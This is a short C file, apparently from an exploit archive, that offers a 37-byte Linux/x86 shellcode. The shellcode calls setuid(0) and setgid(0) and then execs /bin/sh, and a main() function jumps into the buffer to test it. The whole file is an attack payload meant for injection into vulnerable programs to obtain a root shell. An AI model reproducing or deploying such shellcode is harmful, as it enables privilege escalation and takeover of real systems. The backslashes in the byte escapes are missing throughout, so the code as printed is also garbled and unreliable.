/*
 * (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 
 * - 37 bytes
 * - xgc@gotfault.net
 *
 */

char shellcode[] =

  "x6ax17"			// push	$0x17
  "x58"			// pop 	%eax
  "x31xdb"			// xor	%ebx, %ebx
  "xcdx80"			// int	$0x80

  "x6ax2e"			// push	$0x2e	
  "x58"			// pop	%eax
  "x53"			// push %ebx
  "xcdx80"			// int	$0x80

  "x31xd2"			// xor	%edx, %edx
  "x6ax0b"			// push	$0xb
  "x58"			// pop	%eax
  "x52"			// push	%edx
  "x68x2fx2fx73x68"	// push	$0x68732f2f
  "x68x2fx62x69x6e"	// push	$0x6e69622f
  "x89xe3"			// mov	%esp, %ebx
  "x52"			// push	%edx
  "x53"			// push	%ebx
  "x89xe1"			// mov	%esp, %ecx
  "xcdx80";			// int	$0x80
 
int main() {
 
	int (*f)() = (int(*)())shellcode;
    printf("Length: %un", strlen(shellcode));
    f();
}

// www.Syue.com [2006-04-03]